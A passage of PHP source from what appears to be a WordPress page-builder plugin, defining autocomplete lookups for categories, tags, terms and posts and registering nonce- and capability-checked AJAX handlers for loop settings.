public function get_categories( $query ) {
$args = ! empty( $query ) ? array( 'search' => $query ) : array();
if ( ! empty( $this->exclude ) ) {
$args['exclude'] = $this->exclude;
}
$categories = get_categories( $args );
foreach ( $categories as $cat ) {
$this->content[] = array(
'value' => (string) $cat->cat_ID,
'name' => $cat->cat_name,
);
}
}
/**
* @param $query
*
* @since 4.2
*/
public function get_tags( $query ) {
$args = ! empty( $query ) ? array( 'search' => $query ) : array();
if ( ! empty( $this->exclude ) ) {
$args['exclude'] = $this->exclude;
}
$tags = get_tags( $args );
foreach ( $tags as $tag ) {
$this->content[] = array(
'value' => (string) $tag->term_id,
'name' => $tag->name,
);
}
}
/**
* @param $query
*
* @since 4.2
*/
public function get_tax_query( $query ) {
$args = ! empty( $query ) ? array( 'search' => $query ) : array();
if ( ! empty( $this->exclude ) ) {
$args['exclude'] = $this->exclude;
}
$tags = get_terms( VcLoopSettings::getTaxonomies(), $args );
foreach ( $tags as $tag ) {
$this->content[] = array(
'value' => $tag->term_id,
'name' => $tag->name . ' (' . $tag->taxonomy . ')',
);
}
}
/**
* @param $query
*
* @since 4.2
*/
public function get_by_id( $query ) {
$args = ! empty( $query ) ? array(
's' => $query,
'post_type' => 'any',
'no_found_rows' => true,
'orderby' => 'relevance',
) : array(
'post_type' => 'any',
'no_found_rows' => true,
'orderby' => 'relevance',
);
if ( ! empty( $this->exclude ) ) {
$args['exclude'] = $this->exclude;
}
$args['ignore_sticky_posts'] = true;
$posts = get_posts( $args );
foreach ( $posts as $post ) {
$this->content[] = array(
'value' => $post->ID,
'name' => $post->post_title,
);
}
}
/**
* @since 4.2
*/
public function render() {
echo wp_json_encode( $this->content );
}
}
/**
* Build WP_Query object from query string.
* String created by loop controllers
*
* @param $query
* @param bool $exclude_id
*
* @return array
* @since 4.2
*/
function vc_build_loop_query( $query, $exclude_id = false ) {
return VcLoopSettings::buildWpQuery( $query, $exclude_id );
}
/**
* @since 4.2
*/
function vc_get_loop_suggestion() {
vc_user_access()->checkAdminNonce()->validateDie()->wpAny( 'edit_posts', 'edit_pages' )->validateDie();
$loop_suggestions = new VcLoopSuggestions( vc_post_param( 'field' ), vc_post_param( 'query' ), vc_post_param( 'exclude' ) );
$loop_suggestions->render();
die();
}
/**
* @since 4.2
*/
function vc_get_loop_settings_json() {
vc_user_access()->checkAdminNonce()->validateDie()->wpAny( 'edit_posts', 'edit_pages' )->validateDie();
$loop_settings = new VcLoopSettings( vc_post_param( 'value' ), vc_post_param( 'settings' ) );
$loop_settings->render();
die();
}
add_action( 'wp_ajax_wpb_get_loop_suggestion', 'vc_get_loop_suggestion' );
add_action( 'wp_ajax_wpb_get_loop_settings', 'vc_get_loop_settings_json' );
/**
* @since 4.2
*/
function vc_loop_include_templates() {
require_once vc_path_dir( 'TEMPLATES_DIR', 'params/loop/templates.html' );
}
add_action( 'admin_footer', 'vc_loop_include_templates' );